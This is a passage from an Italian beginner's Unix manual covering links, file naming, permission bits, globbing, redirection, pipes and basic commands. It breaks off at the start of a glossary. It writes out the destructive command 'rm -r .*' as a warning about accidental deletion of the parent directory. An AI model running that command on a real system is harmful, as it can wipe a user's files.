Un albero è tale purché esista uno e un solo percorso dalla radice a un qualunque altro nodo. Nei file system Unix non è necessariamente così; pertanto sono schematizzabili attraverso grafi orientati, ma non necessariamente degli alberi. Infatti è possibile inserire dei collegamenti aggiuntivi, o *link*, che permettono l'utilizzo di percorsi alternativi. Si distinguono due tipi di questi collegamenti: simbolici e fisici (*hard*).

- ***Collegamenti fisici***, ***hard link***

  Un collegamento fisico, o *hard link*, è un collegamento che una volta creato ha lo stesso livello di importanza di quelli originali e non è distinguibile da quelli.

- ***Collegamento simbolico***, ***link simbolico***, ***symlink***

  Il collegamento simbolico, o *link* simbolico, è un file speciale contenente un riferimento a un altro percorso e quindi a un altro nodo del grafo di directory e file.

quando si preferisce l'uso di collegamenti simbolici, lo si fa per poter distinguere la realtà (o meglio l'origine) dalla finzione: utilizzando un collegamento simbolico si dichiara apertamente che si sta indicando un'alternativa e non si perde di vista il percorso originale.

3.20 Nomi dei file

Non esiste una regola generale precisa che stabilisca quali siano i caratteri che possono essere usati per nominare un file. Esiste solo un modo per cercare di stare fuori dai guai: il simbolo '`/`' non deve essere utilizzato essendo il modo con cui si separano i nomi all'interno di un percorso in un sistema Unix; inoltre conviene limitarsi all'uso dell'alfabeto latino non accentato, dei numeri, del punto e del trattino basso.

Per convenzione, nei sistemi Unix i file che iniziano con un punto sono classificati come nascosti, perché vengono mostrati e utilizzati solo quando sono richiesti espressamente.

I file che iniziano con un punto sono nascosti per una buona ragione: si vuole evitare che utilizzando i caratteri jolly si faccia riferimento alla directory stessa ('`.`') e alla directory genitrice ('`..`'). Per tale ragione, si deve fare molta attenzione quando si vuole fare riferimento a questi file nascosti. Il comando '**`rm -r .*`**' non si limita a eliminare i file e le directory che iniziano con un solo punto iniziale, ma (a meno che il programma sia stato predisposto per evitare incidenti) elimina anche '`.`', ma soprattutto '`..`', cioè tutto il contenuto della directory genitrice!

3.21 Permessi

I file di un file system Unix appartengono simultaneamente a un utente e a un gruppo di utenti. Per questo si parla di utente e gruppo proprietari, oppure semplicemente di proprietario e di gruppo.

L'utente proprietario può modificare i permessi di accesso ai suoi file, limitando questi anche per se stesso. Si distinguono tre tipi di accesso: lettura, scrittura, esecuzione. Il significato del tipo di accesso dipende dal file cui questo si intende applicare.

Per i file normali:

- l'accesso in lettura permette di leggerne il contenuto;
- l'accesso in scrittura permette di modificarne il contenuto;
- l'accesso in esecuzione permette di eseguirlo, se si tratta di un eseguibile binario o di uno script di qualunque tipo.

Per le directory:

- l'accesso in lettura permette di leggerne il contenuto, ovvero di poter conoscere l'elenco dei file in esse contenuti (di qualunque tipo essi siano);
- l'accesso in scrittura permette di modificarne il contenuto, ovvero di creare, eliminare e rinominare dei file;
- l'accesso in «esecuzione» permette di attraversare una directory, pertanto diventa un permesso di attraversamento, ovvero un permesso di accesso.

I permessi di un file permettono di attribuire privilegi differenti per gli utenti, a seconda che si tratti del proprietario del file, di utenti appartenenti al gruppo proprietario[5], oppure si tratti di utenti diversi. Così, per ogni file, un utente può ricadere in una di queste tre categorie: proprietario, gruppo o utente diverso.

I permessi si possono esprimere in due forme alternative: attraverso una stringa alfabetica oppure un numero.

I permessi possono essere rappresentati attraverso una stringa di nove caratteri in cui possono apparire le lettere '**r**', '**w**', '**x**', oppure un trattino ('**-**'). La presenza della lettera '**r**' indica un permesso di lettura, la lettera '**w**' indica un permesso di scrittura, la lettera '**x**' indica un permesso di esecuzione o di attraversamento.

I primi tre caratteri della stringa rappresentano i privilegi concessi al proprietario stesso, il gruppetto di tre caratteri successivo rappresenta i privilegi degli utenti appartenenti al gruppo, il gruppetto finale di tre caratteri rappresenta i privilegi concessi agli altri utenti.

Figura 3.10. Associazione tra le classi di utenti e i permessi secondo lo schema tradizionale dei sistemi Unix.

I permessi possono essere rappresentati attraverso tre cifre numeriche, in cui la prima rappresenta i privilegi dell'utente proprietario, la seconda quelli del gruppo e la terza quelli degli altri utenti. Il permesso di lettura corrisponde al numero quattro, il permesso di scrittura corrisponde al numero due, il permesso di esecuzione o attraversamento corrisponde al numero uno. Il numero che rappresenta il permesso attribuito a un tipo di utente, si ottiene sommando i numeri corrispondenti ai privilegi che si vogliono concedere.

Tabella 3.11. Esempi di rappresentazione di permessi.

Stringa	Numero	Descrizione
`rw-r--r--`	644_8	L'utente proprietario può accedervi in lettura e scrittura (4+2), mentre sia gli appartenenti al gruppo, sia gli altri utenti, possono solo accedervi in lettura.
`rwxr-x---`	750_8	L'utente proprietario può accedervi in lettura, scrittura ed esecuzione (4+2+1); gli utenti appartenenti al gruppo possono accedervi in lettura e in esecuzione (4+1); gli altri utenti non possono accedervi in alcun modo.
`rw-------`	600_8	L'utente proprietario può accedervi in lettura e scrittura (4+2), mentre tutti gli altri non possono accedervi affatto.

Tabella 3.12. Tutti i casi di permessi di scrittura, lettura, esecuzione o attraversamento, nel contesto di interesse.

Stringa	Binario	Ottale	Descrizione
`r--`	100_2	4_8	Consente la lettura del contenuto.
`-w-`	010_2	2_8	Consente la modifica del contenuto.
`--x`	001_2	1_8	Consente l'avvio di un programma o l'attraversamento di una directory.
`rw-`	110_2	6_8	Consente la lettura e la modifica del contenuto.
`r-x`	101_2	5_8	Consente la lettura del contenuto e l'avvio di un programma o l'attraversamento di una directory.
`-wx`	011_2	3_8	Consente la modifica del contenuto e l'avvio di un programma o l'attraversamento di una directory (se il programma deve essere interpretato non può funzionare, perché manca il permesso di lettura).
`rwx`	111_2	7_8	Consente la lettura, la modifica del contenuto e l'avvio di un programma o l'attraversamento di una directory.

3.21.1 Permessi speciali: S-bit

I permessi dei file sono memorizzati in una sequenza di 9 bit, dove ogni gruppetto di tre rappresenta i permessi per una categoria di utenti (il proprietario, il gruppo, gli altri).

Assieme a questi 9 bit ne esistono altri tre, posti all'inizio, che permettono di indicare altrettante modalità: SUID (*Set user identifier*), SGID (*Set group identifier*) e Sticky (*Save text image*). Si tratta di attributi speciali che riguardano prevalentemente i file eseguibili. Solitamente non vengono usati e per lo più gli utenti comuni ignorano che esistano.

Quanto descritto, serve in questa fase a conoscere il motivo per il quale spesso i permessi espressi in forma numerica (ottale) sono di quattro cifre, con la prima che normalmente è azzerata (l'argomento viene ripreso nella sezione 22.7).

Per esempio, la modalità 0644_8 rappresenta il permesso per l'utente proprietario di accedervi in lettura e scrittura, mentre agli altri utenti si concede di accedervi in sola lettura.

L'indicazione della presenza di questi bit attivati può essere vista anche nelle rappresentazioni in forma di stringa. L'elenco seguente mostra il numero ottale e la sigla corrispondente.

- SUID = 4 = '**`--s------`**'

- SGID = 2 = '`-----s---`'
- Sticky = 1 = '`--------t`'

Come si può osservare, questa indicazione prende il posto del permesso di esecuzione. Nel caso in cui il permesso di esecuzione corrispondente non sia attivato, la lettera ('`s`' o '`t`') appare maiuscola.

Figura 3.13. Esempi di rappresentazione di permessi, con i bit aggiuntivi.

permessi per l'utente proprietario
permessi per il gruppo proprietario
permessi per gli altri

r w x r – x r – x stringa r w – r – – r – –
0 0 0 1 1 1 1 0 1 1 0 1 binario 0 0 0 1 1 0 1 0 0 1 0 0
0 7 5 5 ottale 0 6 4 4

r w s r – x r – x stringa r w S r – – r – –
1 0 0 1 1 1 1 0 1 1 0 1 binario 1 0 0 1 1 0 1 0 0 1 0 0
4 7 5 5 ottale 4 6 4 4

r w x r – s r – x stringa r w – r – S r – –
0 1 0 1 1 1 1 0 1 1 0 1 binario 0 1 0 1 1 0 1 0 0 1 0 0
2 7 5 5 ottale 2 6 4 4

r w x r w x r w t stringa r w – r w – r w T
0 0 1 1 1 1 1 1 1 1 1 1 binario 0 0 1 1 1 0 1 1 0 1 1 0
1 7 7 7 ottale 1 6 6 6

3.22 Date

Tra gli attributi di un file in un file system Unix ci sono anche tre indicazioni data-orario:

- la data e l'ora di creazione: viene aggiornata in particolare quando si cambiano le informazioni del file che sono contenute nell'inode: permessi e proprietà (l'inode viene descritto più avanti);
- la data e l'ora di modifica: viene aggiornata quando si modifica il contenuto del file;
- la data e l'ora di accesso: viene aggiornata quando si accede al file anche solo in lettura.

3.23 Utenza e accesso

Una volta avviato un sistema Unix, prima che sia disponibile l'invito della shell, ovvero il *prompt*, occorre che l'utente sia riconosciuto dal sistema stesso, attraverso la procedura di accesso (*login*). Quello che viene chiesto è l'inserimento del nome dell'utente (così come è stato registrato) e subito dopo la parola d'ordine (*password*) abbinata a quell'utente. Eccezionalmente può trattarsi di un utente senza parola d'ordine, così come avviene per i mini sistemi su unità di memorizzazione esterne, fatti per consentire le operazioni di manutenzione eccezionale.

Si distingue solo tra due tipi di utenti: l'amministratore, il cui nome è '**`root`**', e gli altri utenti comuni. L'utente '**`root`**' non ha alcun limite di azione, gli altri utenti dipendono dai permessi attribuiti ai file (e alle directory) oltre che dai vincoli posti direttamente da alcuni programmi.

In teoria, è possibile usare un elaboratore personale solo utilizzando i privilegi dell'utente '**`root`**'. In pratica, ciò non conviene, perché si perde di vista il significato della gestione dei permessi sui file e sulle directory, ma soprattutto si rendono vani i sistemi di sicurezza predefiniti contro gli errori. Chi, negli anni 1980, ha usato un sistema Dos, può comprendere meglio questo concetto se pensa a cosa succede quando si esegue un comando come quello seguente:

`C:\>` **`DEL *.*`** [*Invio*]

Prima di iniziare la cancellazione, il Dos chiede una conferma ulteriore, proprio perché non esiste alcun tipo di controllo. In un sistema Unix, di solito ciò non avviene: la cancellazione inizia immediatamente senza richiesta di conferme. Se i permessi consentono la cancellazione dei file solo all'utente '**`root`**', un utente registrato in modo diverso non può fare alcun danno.

In conclusione, l'utente '**`root`**' deve stare molto attento a quello che fa proprio perché può accedere a qualunque funzione o file del sistema, inoltre il sistema non pone alcuna obiezione al suo comportamento. Invece, un utente comune è vincolato dai permessi sui file e dai programmi che possono impedirgli di eseguire certe attività, di conseguenza, è possibile lavorare con meno attenzione.

3.24 Interpretazione dei comandi

Come già è stato indicato, l'interpretazione dei comandi è compito della shell. L'interpretazione dei comandi implica la sostituzione di alcuni simboli che hanno un significato speciale.

3.24.1 File globbing

Il ***glob*** (o *globbing*) è il metodo attraverso il quale, tramite un modello simbolico, è possibile indicare un gruppo di nomi di file. Corrisponde all'uso dei caratteri jolly del Dos, con la differenza fondamentale che è la shell a occuparsi della loro sostituzione e non i programmi. Di solito, si possono utilizzare i simboli seguenti:

`*`	l'asterisco rappresenta un gruppo qualsiasi di caratteri, compreso il punto, purché questo punto non si trovi all'inizio del nome;

?	il punto interrogativo rappresenta un carattere qualsiasi, compreso il punto, purché questo punto non si trovi all'inizio del nome;
[...]	le parentesi quadre permettono di rappresentare un carattere qualsiasi tra quelli contenuti al loro interno, o un intervallo di caratteri possibili.

Dal momento che è la shell a eseguire la sostituzione dei caratteri jolly, la sintassi tipica di un programma di servizio è la seguente:

programma [*opzioni*] [*file*...]

Nei sistemi Dos si usa spesso la convenzione inversa, secondo cui l'indicazione dei file avviene prima delle opzioni. Da un punto di vista puramente logico, potrebbe sembrare più giusto l'approccio del Dos: si indica l'oggetto su cui agire e quindi si indica il modo. Facendo così si ottengono però degli svantaggi:

- ogni programma deve essere in grado di interpretare (espandere) i caratteri jolly per conto proprio;
- non è possibile utilizzare l'espansione delle variabili di ambiente e nemmeno di altri tipi;
- se si vogliono indicare elenchi di file che non possono essere espressi con i caratteri jolly, occorre che il programma sia in grado di gestire questa possibilità, di solito attraverso la lettura di un file esterno.

In pratica, il tipo di semplificazione utilizzato dal Dos è poi la fonte di complicazioni per i programmatori e per gli utilizzatori.

3.24.2 Tilde

Di solito, la shell si occupa di eseguire la sostituzione del carattere tilde ('**~**'). Nei sistemi Unix, ogni utente ha una directory personale, conosciuta comunemente come directory *home*. Il simbolo '**~**' da solo viene sostituito dalla shell con il percorso della directory personale dell'utente che sta utilizzando il sistema, mentre un nominativo-utente preceduto dal simbolo '**~**', viene sostituito dalla shell con il percorso della directory personale dell'utente indicato.

3.24.3 Variabili di ambiente

Le variabili di ambiente sono gestite dalla shell e costituiscono uno dei modi attraverso cui si configura un sistema. I programmi possono leggere alcune variabili di loro interesse e modificare il proprio comportamento in base al loro contenuto.

Una riga di comando può fare riferimento a una variabile di ambiente: la shell provvede a sostituirne l'indicazione con il suo contenuto.

3.25 Ridirezione e condotti

I programmi, quando vengono eseguiti, hanno a disposizione alcuni canali standard per il flusso dei dati (input/output). Questi sono: standard input, standard output e standard error.

- ***Standard input***

  Lo standard input viene utilizzato come fonte standard per i dati in ingresso (input) nel programma.

- ***Standard output***

  Lo standard output viene utilizzato come destinazione standard per i dati in uscita (output) dal programma.

- ***Standard error***

  Lo standard error, viene utilizzato come destinazione standard per i dati in uscita dal programma derivati da situazioni anomale.

Lo standard input è rappresentato di norma dai dati provenienti dalla tastiera del terminale. Lo standard output e lo standard error sono emessi normalmente attraverso lo schermo del terminale.

Per mezzo della shell si possono eseguire delle ridirezioni di questi flussi di dati, per esempio facendo in modo che lo standard output di un programma sia inserito come standard input di un altro, creando così un condotto (*pipeline*).

3.25.1 Ridirezione dello standard input

programma < ***file_di_dati***

Si ridirige lo standard input utilizzando il simbolo minore ('**<**') seguito dalla fonte alternativa di dati. Il programma a sinistra del simbolo '**<**' riceve come standard input il contenuto del file indicato a destra.

L'esempio seguente visualizza il contenuto del file '`elenco.txt`' dopo averlo riordinato:

`$` **`sort < elenco.txt`** [*Invio*]

3.25.2 Ridirezione dello standard output

programma > ***file_di_dati***

Si ridirige lo standard output utilizzando il simbolo maggiore ('**>**') seguito dalla destinazione alternativa dei dati. Il programma a sinistra del simbolo '**>**' emette il suo standard output all'interno del file indicato a destra che viene creato per l'occasione.

Lo standard output può essere aggiunto a un file preesistente; in tal caso si utilizza il simbolo maggiore per due volte di seguito: '**>>**'.

I due esempi seguenti mostrano la differenza nell'uso di '**>**' e di '**>>**'.

- $ **ls > elenco.txt** [*Invio*]

  Genera il file '`elenco.txt`' con il risultato dell'esecuzione di '**`ls`**'.

- $ **ls >> elenco.txt** [*Invio*]

  Aggiunge al file '`elenco.txt`' il risultato dell'esecuzione di '**`ls`**'.

3.25.3 Ridirezione dello standard error

> ***programma*** 2> ***file_di_dati***

Si ridirige lo standard error utilizzando il simbolo '**`2>`**' seguito dalla destinazione alternativa dei dati. Il programma a sinistra del simbolo '**`2>`**' emette il suo standard error all'interno del file indicato a destra che viene creato per l'occasione.

Lo standard error può essere aggiunto a un file preesistente; in tal caso si utilizza il simbolo '**`2>>`**'.

I due esempi seguenti mostrano la differenza nell'uso di '**`2>`**' e di '**`2>>`**'.

- $ **controlla 2> errori.txt** [*Invio*]

  Genera il file '`errori.txt`' con il risultato dell'esecuzione dell'ipotetico programma '**`controlla`**'.

- $ **controlla 2>> errori.txt** [*Invio*]

  Aggiunge al file '`errori.txt`' il risultato dell'esecuzione dell'ipotetico programma '**`controlla`**'.

3.25.4 Condotti

> ***programma1*** | ***programma2*** [| ***programma3***...]

Si ridirige lo standard output di un programma nello standard input di un altro, utilizzando il simbolo barra verticale ('**`|`**'). Il programma a sinistra del simbolo '**`|`**' emette il suo standard output nello standard input di quello che sta a destra.

> Nella rappresentazione schematica delle sintassi dei programmi, questo simbolo ha normalmente il significato di una scelta alternativa tra opzioni diverse, parole chiave o altri argomenti. In questo caso fa proprio parte della costruzione di un condotto.

Segue la descrizione di alcuni esempi.

- $ **ls | sort** [*Invio*]

  Riordina il risultato del comando '**`ls`**'.

- $ **ls | sort | less** [*Invio*]

  Riordina il risultato del comando '**ls**' e quindi lo fa scorrere sullo schermo con l'aiuto del programma '**less**'.

3.26 Comandi e programmi di servizio di uso comune

Il ***comando*** è ciò che si dà a una shell per eseguire una qualche funzione, per esempio per avviare un programma, eventualmente con certe opzioni e certi argomenti. Il comando viene interpretato dalla shell, la quale decide se deve eseguirlo personalmente, attraverso delle funzioni interne, oppure se deve avviare un programma separato.

Le funzioni interne di una shell, alle quali ci si riferisce come se si trattasse di programmi, sono note come ***comandi interni***, dal momento che non si tratta di programmi indipendenti; tuttavia, spesso, i programmi di servizio di uso comune, quando non sono troppo sofisticati e usano un sistema di input/output elementare, vengono chiamati anch'essi «comandi».

Riquadro 3.15. Comandi e programmi nei sistemi Dos.

Nei sistemi Dos il comando per avviare un programma non utilizza esattamente il nome del programma. Per esempio, per avviare il file eseguibile 'TYPE.EXE' o 'TYPE.COM' si usa semplicemente il comando '**TYPE**'.

La sintassi che descrive la composizione di un comando segue delle regole molto semplici.

- Le ***metavariabili***, scritte in questo modo, descrivono l'informazione che deve essere inserita al loro posto.
- Le altre parole rappresentano dei termini chiave che, se usati, devono essere indicati così come appaiono nello schema sintattico.
- Quello che appare racchiuso tra parentesi quadre rappresenta una scelta facoltativa: può essere utilizzato o meno.
- La barra verticale ('**|**') rappresenta la possibilità di scelta tra due possibilità alternative: quello che sta alla sua sinistra e quello che sta alla sua destra. Per esempio, '**uno|due**' rappresenta la possibilità di scegliere una tra le parole '**uno**' e '**due**'.
- Quello che appare racchiuso tra parentesi graffe rappresenta una scelta obbligatoria e serve in particolare per evitare equivoci nell'interpretazione quando si hanno più scelte alternative, separate attraverso il simbolo '**|**'. Seguono alcuni esempi:

  - ```
    {uno | due | tre}
    ```
    rappresenta la scelta obbligatoria di una tra le parole chiave '**uno**', '**due**' e '**tre**';

  - ```
    {-f file | --file=file}
    ```
    rappresenta la scelta obbligatoria di una tra due opzioni equivalenti.

- I puntini di sospensione rappresentano la possibilità di aggiungere altri elementi dello stesso tipo di quello che li precede. Per esempio, '***file*...**' rappresenta la metavariabile «file» che può essere seguita da altri valori dello stesso tipo rappresentato dalla metavariabile stessa.

Naturalmente, può capitare che i simboli utilizzati per rappresentare la sintassi, servano per comporre un comando. I casi più evidenti sono:

- i condotti (*pipeline*) che utilizzano la barra verticale per indicare il flusso di dati tra un programma e il successivo;
- le parentesi graffe usate in alcuni linguaggi di programmazione.

Quando ciò accade, occorre fare attenzione al contesto per poter interpretare correttamente il significato di una sintassi, osservando, se ci sono, gli esempi proposti.

Il programma di servizio tipico ha la sintassi seguente:

```
programma [opzioni] [file...]
```

In questo caso, il nome del programma è proprio '**`programma`**'.

Normalmente vengono accettate una o più opzioni facoltative, espresse attraverso una lettera dell'alfabeto preceduta da un trattino ('**`-a`**', '**`-b`**',...). Queste possono essere usate separatamente oppure, spesso si possono raggruppare con un solo trattino seguito da tutte le lettere delle opzioni che si intendono selezionare. Quindi, i due comandi seguenti dovrebbero essere equivalenti:

`programma -a -b` [*Invio*]

`programma -ab` [*Invio*]

I programmi più recenti includono opzioni descrittive formate da un nome preceduto da due trattini. In presenza di questi tipi di opzioni, non si possono fare aggregazioni nel modo appena visto.

A volte si incontrano opzioni che richiedono l'indicazione aggiuntiva di un altro argomento.

La maggior parte dei programmi di servizio esegue delle elaborazioni su file, generando un risultato che viene emesso normalmente attraverso lo standard output. Spesso, quando non vengono indicati file negli argomenti, l'input per l'elaborazione viene ottenuto dallo standard input.

Alcuni programmi permettono l'utilizzo del trattino ('**`-`**') in sostituzione dell'indicazione di file in ingresso o in uscita, allo scopo di fare riferimento, rispettivamente, allo standard input e allo standard output.

3.27 Programma o eseguibile

In generale, quando si usa il termine «programma» non si chiarisce quale sia la sua estensione reale. Si può usare questo termine per identificare qualcosa che si compone di un solo file eseguibile, oppure un piccolo insieme composto da più componenti che vengono comandate da un solo sistema frontale.

Spesso, in particolare all'interno di questo documento, quando si vuole fare riferimento a un programma inteso come un insieme di componenti, oppure come qualcosa di astratto per il quale nel contesto non conta il modo in cui viene avviato, lo si indica con un nome che non ha enfatizzazioni particolari e generalmente ha l'iniziale maiuscola. Per esempio, questo è il caso della shell Bash, a cui si è accennato, il cui file eseguibile è in realtà '**bash**'.

Per evitare ambiguità, quando si vuole essere certi di fare riferimento a un file eseguibile, si specifica proprio che si tratta di questo, cioè di un «eseguibile», mostrandolo attraverso enfatizzazioni di tipo dattilografico, scrivendo il nome esattamente nel modo in cui ciò va fatto per avviarlo.

3.28 ABC dei comandi Unix

Nelle sezioni seguenti vengono descritti in modo sommario alcuni programmi di servizio fondamentali. Gli esempi mostrati fanno riferimento all'uso di una shell POSIX, come Bash che costituisce attualmente lo standard per i sistemi GNU.

È importante ricordare che negli esempi viene mostrato un invito differente a seconda che ci si riferisca a un comando impartito da parte di un utente comune o da parte dell'amministratore: il dollaro ('**$**') rappresenta un'azione di un utente comune, mentre il cancelletto ('**#**') rappresenta un'azione dell'utente '**root**'.

Chi lo desidera, può dare un'occhiata alla tabella ??t dos linux??, alla fine del capitolo, per farsi un'idea dei comandi dei sistemi Unix attraverso un abbinamento con il Dos.

3.28.1 ls: «list»

```
ls [opzioni] [file...]
```

Elenca i file contenuti in una directory. Segue la descrizione di alcuni esempi.

- $ **ls** [*Invio*]

  Elenca il contenuto della directory corrente.

- $ **ls -l *.doc** [*Invio*]

  Elenca tutti i file che terminano con il suffisso '.doc' che si trovano nella directory corrente. L'elenco contiene più dettagli sui file essendoci l'opzione '**-l**'.

3.28.2 cd: «change directory»

```
cd [directory]
```

Cambia la directory corrente. Segue la descrizione di alcuni esempi.

- `$ cd /tmp` [*Invio*]

  Cambia la directory corrente, facendola diventare '`/tmp/`'.

- `$ cd ciao` [*Invio*]

  Cambia la directory corrente, spostandosi nella directory '`ciao/`' che discende da quella corrente.

- `$ cd ~` [*Invio*]

  Cambia la directory corrente, spostandosi nella directory personale dell'utente.

- `$ cd ~daniele` [*Invio*]

  Cambia la directory corrente, spostandosi nella directory personale dell'utente '**`daniele`**'.

3.28.3 mkdir: «make directory»

```
mkdir [opzioni] directory...
```

Crea una directory. Segue la descrizione di alcuni esempi.

- `$ mkdir cloro` [*Invio*]

  Crea la directory '`cloro/`', come discendente di quella corrente.

- `$ mkdir /sodio/cloro` [*Invio*]

  Crea la directory '`cloro/`', come discendente di '`/sodio/`'.

- `$ mkdir ~/cloro` [*Invio*]

  Crea la directory '`cloro/`', come discendente della directory personale dell'utente attuale.

3.28.4 cp: «copy»

cp [*opzioni*] *origine*... *destinazione*

Copia uno o più file (incluse le directory) in un'unica destinazione.

La copia in un sistema Unix non funziona come nei sistemi Dos e ciò principalmente a causa di due fattori: i caratteri jolly (ovvero il *file globbing*) vengono risolti dalla shell prima dell'esecuzione del comando e i file system Unix possono utilizzare i collegamenti simbolici.

Se vengono specificati solo i nomi di due file normali, il primo viene copiato sul secondo, viene cioè generata una copia che ha il nome indicato come destinazione. Se il secondo nome indicato è una directory, il file viene copiato nella directory con lo stesso nome di origine. Se vengono indicati più file, l'ultimo nome **deve** essere una directory, all'interno della quale vengono generate le copie di tutti i file indicati. Di conseguenza, quando si utilizzano i caratteri jolly, la destinazione deve essere una directory. In mancanza di altre indicazioni attraverso l'uso di opzioni adeguate, le directory non vengono copiate.

Chi conosce il Dos potrebbe essere abituato a usare il comando '`COPY`' per copiare un gruppo di file in un altro gruppo di file con i nomi leggermente modificati, come in questo esempio: '`COPY *.bak *.doc`'. Con i sistemi Unix, questo tipo di approccio non può funzionare.

I file elencati nell'origine potrebbero essere in realtà dei collegamenti simbolici. Se non viene specificato diversamente attraverso l'uso delle opzioni, questi vengono copiati così come se fossero file normali; cioè la copia è ottenuta a partire dai file originali e non si ottiene quindi una copia dei collegamenti.

Opzione	Descrizione
-a	Equivalente a '**-dpR**', utile per l'archiviazione o comunque per la copia di collegamenti simbolici così come sono.
-d	Copia i collegamenti simbolici mantenendoli come tali, invece di copiare il file a cui i collegamenti si riferiscono.
-f	Sovrascrittura forzata dei file di destinazione.
-l	Crea un collegamento fisico invece di copiare i file.
-p	Mantiene le proprietà e i permessi originali.
-r	Copia file e directory in modo ricorsivo (includendo le sottodirectory), considerando tutto ciò che non è una directory come un file normale.
-R	Copia file e directory in modo ricorsivo (includendo le sottodirectory).

Segue la descrizione di alcuni esempi.

- `$ cp -r /test/* ~/prova` [*Invio*]

Copia il contenuto della directory '/test/' in '~/prova/' copiando anche eventuali sottodirectory contenute in '/test/'.

Se '~/prova' esiste già e non si tratta di una directory, questo file viene sovrascritto, perdendo quindi il suo contenuto originale.

- $ **cp -r /test ~/prova** [*Invio*]

  Copia la directory '/test/' in '~/prova/' (attaccando 'test/' a '~/prova/') copiando anche eventuali sottodirectory contenute in '/test/'.

- $ **cp -dpR /test ~/prova** [*Invio*]

  Copia la directory '/test/' in '~/prova/' (attaccando 'test/' a '~/prova/') copiando anche eventuali sottodirectory contenute in '/test/', mantenendo inalterati i permessi e riproducendo i collegamenti simbolici eventuali.

3.28.5 ln: «link»

ln [*opzioni*] ***origine***... ***destinazione***

Crea uno o più collegamenti di file (incluse le directory, ma solo se si tratta di collegamenti simbolici) in un'unica destinazione.

La creazione di un collegamento è un'azione simile a quella della copia. Di conseguenza valgono le stesse considerazioni fatte in occasione del comando '**cp**' per quanto riguarda la differenza di comportamento che c'è tra Unix e Dos.

Se vengono specificati solo i nomi di due file normali, il secondo diventa il collegamento del primo. Se il secondo nome indicato è una directory, al suo interno vengono creati altrettanti collegamenti quanti sono i file e le directory indicati come origine. I nomi utilizzati sono gli stessi di quelli di origine. Se vengono indicati più file, l'ultimo nome **deve** corrispondere a una directory.

È ammissibile la creazione di collegamenti che fanno riferimento ad altri collegamenti.

Se ne possono creare di due tipi: collegamenti fisici e collegamenti simbolici. Questi ultimi sono da preferire (a meno che ci siano delle ragioni per utilizzare dei collegamenti fisici). Se non viene richiesto diversamente attraverso le opzioni, si generano dei collegamenti fisici invece che i consueti collegamenti simbolici.

Opzione	Descrizione
-s	Crea un collegamento simbolico.
-f	Sovrascrittura forzata dei file o dei collegamenti già esistenti nella destinazione.

Segue la descrizione di alcuni esempi.

- $ **ln -s /test/* ~/prova** [*Invio*]

  Crea, nella destinazione '~/prova/', i collegamenti simbolici corrispondenti a tutti i file e a tutte le directory che si trovano all'interno di '/test/'.

- $ **ln -s /test ~/prova** [*Invio*]

  Crea, nella destinazione '~/prova', un collegamento simbolico corrispondente al file o alla directory '/test'. Se '~/prova' è una directory, viene creato il collegamento '~/prova/test'; se '~/prova' non esiste, viene creato il collegamento '~/prova'.

3.28.6 rm: «remove»

```
rm [opzioni] nome...
```

Rimuove i file indicati come argomento. In mancanza dell'indicazione delle opzioni necessarie, non vengono rimosse le directory.

Opzione	Descrizione
-r -R	Rimuove il contenuto delle directory in modo ricorsivo.

Segue la descrizione di alcuni esempi.

- $ **rm prova** [*Invio*]

  Elimina il file 'prova'.

- $ **rm ./-r** [*Invio*]

  Elimina il file '-r' che inizia il suo nome con un trattino, senza confondersi con l'opzione '**-r**' (ricorsione).

- $ **rm -r ~/varie** [*Invio*]

  Elimina la directory 'varie/' che risiede nella directory personale, insieme a tutte le sue sottodirectory eventuali.

Si faccia attenzione al comando seguente:

rm -r .* [*Invio*]

Teoricamente, questo comando potrebbe eliminare tutti i file e le directory a partire dalla directory genitrice! Si osservi che se la directory corrente discende immediatamente dalla directory radice, ciò significherebbe cancellare tutta la gerarchia.

Questo è comunque un errore tipico di chi vuole cancellare tutte le directory nascoste (cioè quelle che iniziano con un punto) contenute nella directory corrente. Il disastro potrebbe avvenire perché nei sistemi Unix, '**.***' rappresenta anche la directory corrente ('**.**') e la directory

precedente o genitrice ('..'). In alternativa, onde evitare disguidi, conviene piuttosto un comando come quello seguente, con cui si è certi di intervenire solo su nomi che sono lunghi almeno tre caratteri complessivi (punto compreso):

rm -r .??* [*Invio*]

3.28.7 mv: «move»

mv [*opzioni*] *origine*... *destinazione*

Sposta i file e le directory. Se vengono specificati solo i nomi di due elementi (file o directory), il primo viene spostato e rinominato in modo da ottenere quanto indicato come destinazione. Se si indicano più elementi (file o directory), l'ultimo attributo **deve** essere una directory, all'interno della quale si spostano tutti gli elementi elencati. Nel caso di spostamenti attraverso file system differenti, vengono spostati solo i cosiddetti file normali (quindi: niente collegamenti e niente directory).

Nei sistemi Unix non esiste la possibilità di rinominare un file o una directory semplicemente come avviene nel Dos. Per cambiare un nome occorre spostarlo. Questo fatto ha poi delle implicazioni nella gestione dei permessi delle directory.

Segue la descrizione di alcuni esempi.

- $ **mv prova prova1** [*Invio*]

  Cambia il nome del file (o della directory) 'prova' in 'prova1'.

- $ **mv * /tmp** [*Invio*]

  sposta, all'interno di '/tmp/', tutti i file e le directory che si trovano nella directory corrente.

3.28.8 cat: «concatenate»

cat [*opzioni*] [*file*...]

Concatena dei file e ne emette il contenuto attraverso lo standard output. Il comando emette di seguito i file indicati come argomento attraverso lo standard output (sullo schermo), in pratica qualcosa di simile al comando '**TYPE**' del Dos. Se non viene fornito il nome di alcun file, viene utilizzato lo standard input. Segue la descrizione di alcuni esempi.

- $ **cat prova prova1** [*Invio*]

  Mostra di seguito il contenuto di 'prova' e 'prova1'.

- $ **cat prova prova1 > prova2** [*Invio*]

  Genera il file '`prova2`' come risultato del concatenamento in sequenza di '`prova`' e '`prova1`'.

3.29 Glossario minimo per il principiante

3.29.1 Sistema operativo in generale

- ***boot*, *bootstrap***

  L'avvio, ovvero il caricamento del sistema operativo, viene individuato in inglese con il termine *boot*, mentre la porzione di codice che si occupa effettivamente di attuare l'avvio è il *bootstrap* (calzastivale). Pertanto, in senso figurato, il caricamento del sistema operativo viene paragonato all'atto di calzare uno stivale e rimane il termine *boot*, apparentemente privo di significato in questo contesto (dal momento che significa soltanto «stivale»), per rappresentare l'avvio stesso (e non ciò che deve essere avviato).

- ***monoprogrammazione*, *multiprogrammazione***

  Un sistema operativo è monoprogrammato quando consente la gestione di un solo processo elaborativo per volta; ovvero, quando la memoria centrale può contenere il codice di un solo programma per volta. Un sistema è invece multiprogrammato quando è in grado di assegnare a più processi elaborativi porzioni di memoria separate, eseguendoli in modo apparentemente simultaneo, suddividendo il tempo di utilizzo della CPU.

- ***time sharing*, *time slice***

